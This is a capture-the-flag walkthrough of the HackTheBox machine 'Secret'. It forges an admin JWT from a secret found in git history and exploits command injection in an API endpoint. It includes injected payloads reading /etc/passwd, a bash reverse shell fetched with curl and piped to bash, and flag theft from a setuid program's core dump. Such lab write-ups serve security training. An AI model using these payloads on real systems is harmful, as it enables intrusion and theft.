Walk-through of Secret from HackTheBox
Machine Information
Secret is rated as an easy machine on HackTheBox. We start with a backup found on the website running on the box. In there we find a number of interesting files, which leads us to interacting with an API. Eventually we create a JSON Web Token and can perform remote code execution, which we use to get a reverse shell. Escalation to root involves further code review, this time of a c program found on the box. From that we find crashing the program allows us to see the contents of memory via a core-dump. And in there we can retrieve the root flag.
Skills required are a basic understanding of Java code. Skills learned are manipulating JSON Web Tokens and inspecting core-dumps for sensitive information.
Details | |
---|---|
Hosting Site | HackTheBox |
Link To Machine | HTB - Easy - Secret |
Machine Release Date | 30th October 2021 |
Date I Completed It | 30th November 2021 |
Distribution Used | Kali 2021.3 – Release Info |
Initial Recon
As always let’s start with Nmap:
┌──(root💀kali)-[~/htb/secret]
└─# ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.120 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
┌──(root💀kali)-[~/htb/secret]
└─# nmap -p$ports -sC -sV -oA secret 10.10.11.120
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-17 22:18 GMT
Nmap scan report for 10.10.11.120
Host is up (0.023s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 13.06 seconds
Only three open ports, interestingly two of them are nginx. Let’s add the box IP to hosts file first:
┌──(root💀kali)-[~/htb/secret]
└─# echo "10.10.11.120 secret.htb" >> /etc/hosts
Website
Now have a look at the website on port 80:
Nothing much here, just a static site about documentation. Clicking the Live Demo button takes us here:
We see an API which we will be interacting with later. Further down the main page we see a link to download the source code:
Source Code Review
Let’s grab it and have a look:
┌──(root💀kali)-[~/htb/secret]
└─# wget http://secret.htb/download/files.zip
--2021-11-18 21:35:40-- http://secret.htb/download/files.zip
Resolving secret.htb (secret.htb)... 10.10.11.120
Connecting to secret.htb (secret.htb)|10.10.11.120|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 28849603 (28M) [application/zip]
Saving to: ‘files.zip’
files.zip 100%[================>] 27.51M 2.74MB/s in 9.8s
2021-11-18 21:35:50 (2.81 MB/s) - ‘files.zip’ saved [28849603/28849603]
┌──(root💀kali)-[~/htb/secret]
└─# unzip files.zip
Archive: files.zip
creating: local-web/
creating: local-web/node_modules/
creating: local-web/node_modules/get-stream/
inflating: local-web/node_modules/get-stream/buffer-stream.js
<SNIP>
┌──(root💀kali)-[~/htb/secret]
└─# cd local-web
┌──(root💀kali)-[~/htb/secret/local-web]
└─# ls -lsa
4 -rw-rw-r-- 1 root root 72 Sep 3 06:59 .env
4 drwxrwxr-x 8 root root 4096 Sep 8 19:33 .git
4 -rw-rw-r-- 1 root root 885 Sep 3 06:56 index.js
4 drwxrwxr-x 2 root root 4096 Aug 13 05:42 model
4 drwxrwxr-x 201 root root 4096 Aug 13 05:42 node_modules
4 -rw-rw-r-- 1 root root 491 Aug 13 05:42 package.json
68 -rw-rw-r-- 1 root root 69452 Aug 13 05:42 package-lock.json
4 drwxrwxr-x 4 root root 4096 Sep 3 06:54 public
4 drwxrwxr-x 2 root root 4096 Sep 3 07:32 routes
4 drwxrwxr-x 4 root root 4096 Aug 13 05:42 src
4 -rw-rw-r-- 1 root root 651 Aug 13 05:42 validations.js
In the local-web folder we see a lot of files. First one I looked at is .env:
┌──(root💀kali)-[~/htb/secret/local-web]
└─# cat .env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
Not sure yet what that is for if anything but seems suspicious!
Looking at index.js we see a couple of interesting things:
┌──(root💀kali)-[~/htb/secret/local-web]
└─# cat index.js
<SNIP>
// import routes
const authRoute = require('./routes/auth');
const webroute = require('./src/routes/web')
<SNIP?
//middle ware
app.use(express.json());
app.use('/api/user',authRoute)
app.use('/api/', privRoute)
app.use('/', webroute)
<SNIP>
There’s a file called auth used to set up the app called authRoute which looks to be an API endpoint we can connect to.
Looking at the auth.js file we see a register endpoint:
┌──(root💀kali)-[~/htb/secret/local-web]
└─# cat routes/auth.js
<SNIP>
router.post('/register', async (req, res) => {
// validation
const { error } = registerValidation(req.body)
if (error) return res.status(400).send(error.details[0].message);
// check if user exists
const emailExist = await User.findOne({email:req.body.email})
if (emailExist) return res.status(400).send('Email already Exist')
// check if user name exist
const unameexist = await User.findOne({ name: req.body.name })
if (unameexist) return res.status(400).send('Name already Exist')
//hash the password
const salt = await bcrypt.genSalt(10);
const hashPaswrod = await bcrypt.hash(req.body.password, salt)
There’s also a login section which checks an account then creates a JSON Web Token (JWT) if valid:
// login
router.post('/login', async (req , res) => {
const { error } = loginValidation(req.body)
if (error) return res.status(400).send(error.details[0].message);
// check if email is okay
const user = await User.findOne({ email: req.body.email })
if (!user) return res.status(400).send('Email is wrong');
// check password
const validPass = await bcrypt.compare(req.body.password, user.password)
if (!validPass) return res.status(400).send('Password is wrong');
// create jwt
const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
res.header('auth-token', token).send(token);
})
<SNIP>
There’s also a validation.js file which checks the registration and logins for user are valid. This is a good introduction to JWT if you need to read up some before getting too deep.
Interacting With API
With the information from the config files we now know how to try and create our own user:
┌──(root💀kali)-[~/htb/secret]
└─# curl -H 'Content-Type: application/json' -v http://secret.htb/api/user/register --data '{"name": "pencer"}'
* Trying 10.10.11.120:80...
* Connected to secret.htb (10.10.11.120) port 80 (#0)
> POST /api/user/register HTTP/1.1
> Host: secret.htb
> User-Agent: curl/7.79.1
> Accept: */*
> Content-Type: application/json
> Content-Length: 18
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 400 Bad Request
< Server: nginx/1.18.0 (Ubuntu)
< Date: Thu, 18 Nov 2021 22:01:46 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 19
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"13-Q2T0jisz/unr9MyMuXKKCS2zU1g"
<
* Connection #0 to host secret.htb left intact
"email" is required
Trying to register a user with just the name field returns a message to say email is required. Let’s try again and add a fake address:
┌──(root💀kali)-[~/htb/secret]
└─# curl -H 'Content-Type: application/json' -v http://secret.htb/api/user/register --data '{"name": "pencer","email": "pencer@test.com"}'
* Trying 10.10.11.120:80...
* Connected to secret.htb (10.10.11.120) port 80 (#0)
> POST /api/user/register HTTP/1.1
> Host: secret.htb
> User-Agent: curl/7.79.1
> Accept: */*
> Content-Type: application/json
> Content-Length: 45
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 400 Bad Request
< Server: nginx/1.18.0 (Ubuntu)
< Date: Thu, 18 Nov 2021 22:02:57 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 22
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"16-nX1arZIZLbLe8Z7xRI3PdssUkSc"
<
* Connection #0 to host secret.htb left intact
"password" is required
That worked, we now get another message this time telling us to provide a password:
┌──(root💀kali)-[~/htb/secret]
└─# curl -H 'Content-Type: application/json' -v http://secret.htb/api/user/register --data '{"name": "pencer","email": "pencer@test.com","password": "password"}'
* Trying 10.10.11.120:80...
* Connected to secret.htb (10.10.11.120) port 80 (#0)
> POST /api/user/register HTTP/1.1
> Host: secret.htb
> User-Agent: curl/7.79.1
> Accept: */*
> Content-Type: application/json
> Content-Length: 68
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Thu, 18 Nov 2021 22:03:58 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 17
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"11-4CY5YgLTe0ZU3J5xpyOA0EoDRvk"
<
* Connection #0 to host secret.htb left intact
{"user":"pencer"}
With the three required parameters provided we’ve created our user. Now we can try and login with it:
┌──(root💀kali)-[~/htb/secret]
└─# curl -H 'Content-Type: application/json' -v http://secret.htb/api/user/login --data '{"email": "pencer@test.com","password": "password"}'
* Trying 10.10.11.120:80...
* Connected to secret.htb (10.10.11.120) port 80 (#0)
> POST /api/user/login HTTP/1.1
> Host: secret.htb
> User-Agent: curl/7.79.1
> Accept: */*
> Content-Type: application/json
> Content-Length: 51
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Thu, 18 Nov 2021 22:04:53 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 205
< Connection: keep-alive
< X-Powered-By: Express
< auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTk2Y2RjZTQyNTczNjA0NWMyYjI5NTgiLCJuYW1lIjoicGVuY2VyIiwiZW1haWwiOiJwZW5jZXJAdGVzdC5jb20iLCJpYXQiOjE2MzcyNzMwOTN9.iVtsUPT-D-uHBCNnTIsRRAPyvLQSI5mIEvYqn9JJzLk
< ETag: W/"cd-VabnZwBM7Fs1CuX27K9pRNO2gTw"
<
* Connection #0 to host secret.htb left intact
More Code Review
This worked and as we saw in the config file a JWT has been returned for our user. After another review of the source code I found private.js in the routes folder:
┌──(root💀kali)-[~/htb/secret/local-web]
└─# cat routes/private.js
const router = require('express').Router();
const verifytoken = require('./verifytoken')
const User = require('../model/user');
router.get('/priv', verifytoken, (req, res) => {
// res.send(req.user)
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
res.json({
creds:{
role:"admin",
username:"theadmin",
desc : "welcome back admin,"
}
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
This gives us another endpoint to try called /priv. Interestingly it shows us if we have the username theadmin and provide a valid token we have the admin role, otherwise we’re a normal user.
Later in the same file we see there’s an endpoint called /logs that will allow us to pass a parameter called file that isn’t sanitised if we are theadmin user:
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
So clearly we need to find a way to get a valid JWT for the theadmin. First let’s try sending our own users token to the /priv endpoint we’ve just found:
┌──(root💀kali)-[~/htb/secret]
└─# curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTk2Y2RjZTQyNTczNjA0NWMyYjI5NTgiLCJuYW1lIjoicGVuY2VyIiwiZW1haWwiOiJwZW5jZXJAdGVzdC5jb20iLCJpYXQiOjE2MzcyNzMwOTN9.iVtsUPT-D-uHBCNnTIsRRAPyvLQSI5mIEvYqn9JJzLk'
{"role":{"role":"you are normal user","desc":"pencer"}}
With this authentication token we are able to interact with the priv API but as a normal user we can’t do a lot.
JWT Tool
We can decode the JWT using JWT_Tool, let’s get it:
┌──(root💀kali)-[~/htb/secret]
└─# wget https://raw.githubusercontent.com/ticarpi/jwt_tool/master/jwt_tool.py
--2021-11-17 22:54:00-- https://raw.githubusercontent.com/ticarpi/jwt_tool/master/jwt_tool.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.111.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 99348 (97K) [text/plain]
Saving to: ‘jwt_tool.py’
jwt_tool.py 100%[==============================================================>] 97.02K --.-KB/s in 0.02s
2021-11-17 22:54:00 (3.84 MB/s) - ‘jwt_tool.py’ saved [99348/99348]
We pass it the JWT we received as our authenticated user:
┌──(root💀kali)-[~/htb/secret]
└─# python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTk2Y2RjZTQyNTczNjA0NWMyYjI5NTgiLCJuYW1lIjoicGVuY2VyIiwiZW1haWwiOiJwZW5jZXJAdGVzdC5jb20iLCJpYXQiOjE2MzcyNzMwOTN9.iVtsUPT-D-uHBCNnTIsRRAPyvLQSI5mIEvYqn9JJzLk
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.4 \______| @ticarpi
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "HS256"
[+] typ = "JWT"
Token payload values:
[+] _id = "6196cdce425736045c2b2958"
[+] name = "pencer"
[+] email = "pencer@test.com"
[+] iat = 1637273093 ==> TIMESTAMP = 2021-11-18 22:04:53 (UTC)
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
It’s decoded the token and shows us the payloads consisting of _id, name and email.
So looking back at what we’ve found so far. We know that to progress we need to find a way to generate a token for theadmin user. To do that we need a password, we found this earlier:
┌──(root💀kali)-[~/htb/secret/local-web]
└─# cat .env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
GitTools
Which doesn’t work, but one thing we didn’t look at before is what’s in the .git folder contained in that original download. Let’s extract the contents of .git using GitTools:
┌──(root💀kali)-[~/htb/secret]
└─# git clone https://github.com/internetwache/GitTools.git
Cloning into 'GitTools'...
remote: Enumerating objects: 229, done.
remote: Counting objects: 100% (20/20), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 229 (delta 6), reused 7 (delta 2), pack-reused 209
Receiving objects: 100% (229/229), 52.92 KiB | 918.00 KiB/s, done.
Resolving deltas: 100% (85/85), done.
┌──(root💀kali)-[~/htb/secret]
└─# ./GitTools/Extractor/extractor.sh local-web/ secret_git_extracted
[*] Destination folder does not exist
[*] Creating...
[+] Found commit: 3a367e735ee76569664bf7754eaaade7c735d702
[+] Found file: /root/htb/secret/secret_git_extracted/0-3a367e735ee76569664bf7754eaaade7c735d702/.env
[+] Found file: /root/htb/secret/secret_git_extracted/0-3a367e735ee76569664bf7754eaaade7c735d702/.env.swp
[+] Found file: /root/htb/secret/secret_git_extracted/0-3a367e735ee76569664bf7754eaaade7c735d702/index.js
[+] Found folder: /root/htb/secret/secret_git_extracted/0-3a367e735ee76569664bf7754eaaade7c735d702/model
[+] Found file: /root/htb/secret/secret_git_extracted/0-3a367e735ee76569664bf7754eaaade7c735d702/model/user.js
[+] Found folder: /root/htb/secret/secret_git_extracted/0-3a367e735ee76569664bf7754eaaade7c735d702/node_modules
[+] Found folder: /root/htb/secret/secret_git_extracted/0-3a367e735ee76569664bf7754eaaade7c735d702/node_modules/.bin
[+] Found folder: /root/htb/secret/secret_git_extracted/0-3a367e735ee76569664bf7754eaaade7c735d702/node_modules/@hapi
<SNIP>
[+] Found folder: /root/htb/secret/secret_git_extracted/5-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/src
[+] Found folder: /root/htb/secret/secret_git_extracted/5-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/src/routes
[+] Found file: /root/htb/secret/secret_git_extracted/5-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/src/routes/web.js
[+] Found folder: /root/htb/secret/secret_git_extracted/5-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/src/views
[+] Found file: /root/htb/secret/secret_git_extracted/5-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/src/views/404.ejs
[+] Found file: /root/htb/secret/secret_git_extracted/5-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/src/views/doc.ejs
[+] Found file: /root/htb/secret/secret_git_extracted/5-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/src/views/home.ejs
[+] Found file: /root/htb/secret/secret_git_extracted/5-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/validations.js
It took a while to extract all the files but now we can look at the commits:
┌──(root💀kali)-[~/htb/secret]
└─# cd secret_git_extracted
┌──(root💀kali)-[~/htb/secret/secret_git_extracted]
└─# ls -l
total 24
drwxr-xr-x 7 root root 4096 Nov 17 22:39 0-3a367e735ee76569664bf7754eaaade7c735d702
drwxr-xr-x 7 root root 4096 Nov 17 22:39 1-de0a46b5107a2f4d26e348303e76d85ae4870934
drwxr-xr-x 7 root root 4096 Nov 17 22:40 2-e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
drwxr-xr-x 7 root root 4096 Nov 17 22:41 3-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
drwxr-xr-x 7 root root 4096 Nov 17 22:41 4-55fe756a29268f9b4e786ae468952ca4a8df1bd8
drwxr-xr-x 7 root root 4096 Nov 17 22:42 5-4e5547295cfe456d8ca7005cb823e1101fd1f9cb
We have six commits in the git repo. I searched for TOKEN_SECRET which we found before in the .env file of the main folder, and found something interesting:
┌──(root💀kali)-[~/htb/secret/secret_git_extracted]
└─# grep -rn "TOKEN_SECRET = " | sort
0-3a367e735ee76569664bf7754eaaade7c735d702/.env:2:TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
1-de0a46b5107a2f4d26e348303e76d85ae4870934/.env:2:TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
2-e297a2797a5f62b6011654cf6fb6ccb6712d2d5b/.env:2:TOKEN_SECRET = secret
3-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78/.env:2:TOKEN_SECRET = secret
4-55fe756a29268f9b4e786ae468952ca4a8df1bd8/.env:2:TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
5-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/.env:2:TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
Create theadmin JWT
We can use this secret and our existing user JWT we created earlier with jwt_tool to create ourselves a tampered token that works as theadmin:
┌──(root💀kali)-[~/htb/secret]
└─# python3 jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTk2Y2RjZTQyNTczNjA0NWMyYjI5NTgiLCJuYW1lIjoicGVuY2VyIiwiZW1haWwiOiJwZW5jZXJAdGVzdC5jb20iLCJpYXQiOjE2MzcyNzMwOTN9.iVtsUPT-D-uHBCNnTIsRRAPyvLQSI5mIEvYqn9JJzLk
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.4 \______| @ticarpi
Original JWT:
jwttool_a9ca90340bdb619642f0fbd1df1e6f4e - Tampered token - HMAC Signing:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTk2Y2RjZTQyNTczNjA0NWMyYjI5NTgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InBlbmNlckB0ZXN0LmNvbSIsImlhdCI6MTYzNzI3MzA5M30.OBy7ffsMnK9IlG1uBm28X4aYbCMw4mgr3kZyFMXDGfE
Remote Code Execution
With this new token we can use the /logs api we found earlier and authenticate as theadmin. This let’s us use that unsanitised parameter we saw in the source code. Let’s try and get the passwd file:
┌──(root💀kali)-[~/htb/secret]
└─# curl 'http://secret.htb/api/logs?file=;cat+/etc/passwd' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTk2Y2RjZTQyNTczNjA0NWMyYjI5NTgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InBlbmNlckB0ZXN0LmNvbSIsImlhdCI6MTYzNzI3MzA5M30.OBy7ffsMnK9IlG1uBm28X4aYbCMw4mgr3kZyFMXDGfE'
"80bf34c fixed typos 🎉
0c75212 now we can view logs from server 😃
ab3e953 Added the codes
root:x:0:0:root:/root:/bin/bash
<SNIP>
dasith:x:1000:1000:dasith:/home/dasith:/bin/bash
It works and we see the contents of the passwd file. Of note is the user dasith. Let’s see which user we are on the server:
┌──(root💀kali)-[~/htb/secret]
└─# curl 'http://secret.htb/api/logs?file=;id' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTk2Y2RjZTQyNTczNjA0NWMyYjI5NTgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InBlbmNlckB0ZXN0LmNvbSIsImlhdCI6MTYzNzI3MzA5M30.OBy7ffsMnK9IlG1uBm28X4aYbCMw4mgr3kZyFMXDGfE'
<SNIP>
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)"
Ok so we are the dasith user, let’s look in their home folder:
┌──(root💀kali)-[~/htb/secret]
└─# curl 'http://secret.htb/api/logs?file=;ls+-ls+/home/dasith' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTk2Y2RjZTQyNTczNjA0NWMyYjI5NTgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InBlbmNlckB0ZXN0LmNvbSIsImlhdCI6MTYzNzI3MzA5M30.OBy7ffsMnK9IlG1uBm28X4aYbCMw4mgr3kZyFMXDGfE'
<SNIP>
4 drwxrwxr-x 8 dasith dasith 4096 Nov 18 22:14 local-web
4 -r-------- 1 dasith dasith 33 Nov 18 15:43 user.txt"
User Flag
Might as well grab the user flag:
┌──(root💀kali)-[~/htb/secret]
└─# curl 'http://secret.htb/api/logs?file=;cat+/home/dasith/user.txt' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTk2Y2RjZTQyNTczNjA0NWMyYjI5NTgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InBlbmNlckB0ZXN0LmNvbSIsImlhdCI6MTYzNzI3MzA5M30.OBy7ffsMnK9IlG1uBm28X4aYbCMw4mgr3kZyFMXDGfE'
<SNIP>
c5d9aea30b9787de4c6776da13f5f57f
Reverse Shell
Now let’s get a reverse shell, we can use a simple one like this and put it in a shell file so we can execute it:
┌──(root💀kali)-[~/htb/secret]
└─# cat pencer_shell.sh
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.15.15/1338 0>&1'
Start a web server so we can pull that file across, also start a netcat listener to catch our shell. Now as before send as a parameter:
┌──(root💀kali)-[~/htb/secret]
└─# curl 'http://secret.htb/api/logs?file=;curl+http://10.10.15.15/pencer_shell.sh+|+bash' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTk2Y2RjZTQyNTczNjA0NWMyYjI5NTgiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InBlbmNlckB0ZXN0LmNvbSIsImlhdCI6MTYzNzI3MzA5M30.OBy7ffsMnK9IlG1uBm28X4aYbCMw4mgr3kZyFMXDGfE'
{"killed":false,"code":1,"signal":null,"cmd":"git log --oneline ;curl http://10.10.15.15/pencer_shell.sh | bash"}
We see the file pulled from our web server:
┌──(root💀kali)-[~/htb/secret]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.120 - - [18/Nov/2021 22:11:37] "GET /pencer_shell.sh HTTP/1.1" 200 -
And then we see our shell is connected:
┌──(root💀kali)-[~/htb/secret]
└─# nc -lvvp 1337
listening on [any] 1337 ...
connect to [10.10.15.15] from secret.htb [10.10.11.120] 51496
bash: cannot set terminal process group (1116): Inappropriate ioctl for device
bash: no job control in this shell
dasith@secret:~/local-web$ id
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)
First let’s get a better shell:
dasith@secret:~/local-web$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
dasith@secret:~/local-web$ ^Z
zsh: suspended nc -lvvp 1337
┌──(root💀kali)-[~/htb/secret]
└─# stty raw -echo; fg
[1] + continued nc -lvvp 1337
dasith@secret:~/local-web$
Enumeration
With that sorted I had a look around, eventually finding a file called count that has the sticky bit set:
dasith@secret:~/local-web$ find / -type f -perm -u=s 2>/dev/null
<SNIP>
/opt/count
We can assume that is significant. If we look in the /opt folder we also find the source code for the count file:
dasith@secret:/opt$ ls -l
-rw-r--r-- 1 root root 3736 Oct 7 10:01 code.c
-rwsr-xr-x 1 root root 17824 Oct 7 10:03 count
-rw-r--r-- 1 root root 4622 Oct 7 10:04 valgrind.log
dasith@secret:~/local-web$ file /opt/count
/opt/count: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=615b7e12374cd1932161a6a9d9a737a63c7be09a, for GNU/Linux 3.2.0, not stripped
Let’s see what this file does:
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]: y
Path: /tmp/output.txt
It asked for a source file, I gave it the root flag and it seems to be doing a character and word count on it. Saving the file doesn’t give me the source:
dasith@secret:/opt$ ls /tmp
output.txt
snap.lxd
tmux-1000
vmware-root_730-2999460803
dasith@secret:/opt$ cat /tmp/output.txt
Total characters = 33
Total words = 2
Total lines = 2
I just get the output save to a text file.
Coredump
Next we need to look through that source code to see if we can understand what the file does. It’s a long file, but the we can see it reads the file provided in to memory, where the number of characters and words are counted. The interesting part is near the end:
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
We can see what that allows here:
PR_SET_DUMPABLE (since Linux 2.3.20)
Set the state of the "dumpable" flag, which determines whether core dumps are
produced for the calling process upon delivery of a signal whose default behavior
is to produce a core dump.
Which means the program is setting the flag to write a coredump out to a file when it’s terminated. We can take advantage of this to get the contents of memory dumped to a file while the root.txt file is held in it.
Get a second shell connected using the same curl method as above. Then in shell 1 we run the count program again and read the root flag in:
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]:
Crash Program
Leave it there at the save point and switch to the second shell, look at the processes running:
dasith@secret:~/local-web$ ps -aux | grep count
ps -aux | grep count
root 821 0.0 0.1 235672 7420 ? Ssl 17:18 0:00 /usr/lib/accountsservice/accounts-daemon
dasith 96020 0.0 0.0 2488 524 pts/9 S+ 22:44 0:00 ./count -p
dasith 96026 0.0 0.0 6432 740 ? S 22:45 0:00 grep --color=auto count
Kill the process for count:
dasith@secret:~/local-web$ kill 96020
kill 96020
Now unpack the coredump so we can look at it:
dasith@secret:/opt$ cd /var/crash
dasith@secret:/var/crash$ ls -l
-rw-r----- 1 root root 27203 Oct 6 18:01 _opt_count.0.crash
-rw-r----- 1 dasith dasith 28006 Nov 18 21:40 _opt_count.1000.crash
-rw-r----- 1 root root 24048 Oct 5 14:24 _opt_countzz.0.crash
dasith@secret:/var/crash$ mkdir /dev/shm/pencer
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /dev/shm/pencer
dasith@secret:/var/crash$ cd /dev/shm/pencer
dasith@secret:/dev/shm/pencer$ ls
<SNIP>
CoreDump
<SNIP>
Root Flag
We can now use strings too look at the contents of the CoreDump file:
dasith@secret:/dev/shm/pencer$ strings CoreDump
strings CoreDump
<SNIP>
Enter source file/directory name:
%99s
Save results a file? [y/N]:
Path:
Could not open %s for writing
:*3$"
Save results a file? [y/N]: words = 2
Total lines = 2
/root/root.txt
ed72112dc7721f564f49b6846a2f0e22
The output is really long but you can spot the count file output within it and see the contents of the root flag that had been read in.
I thought that was pretty tricky for an easy box. I hope you enjoyed it.
See you next time.
Comments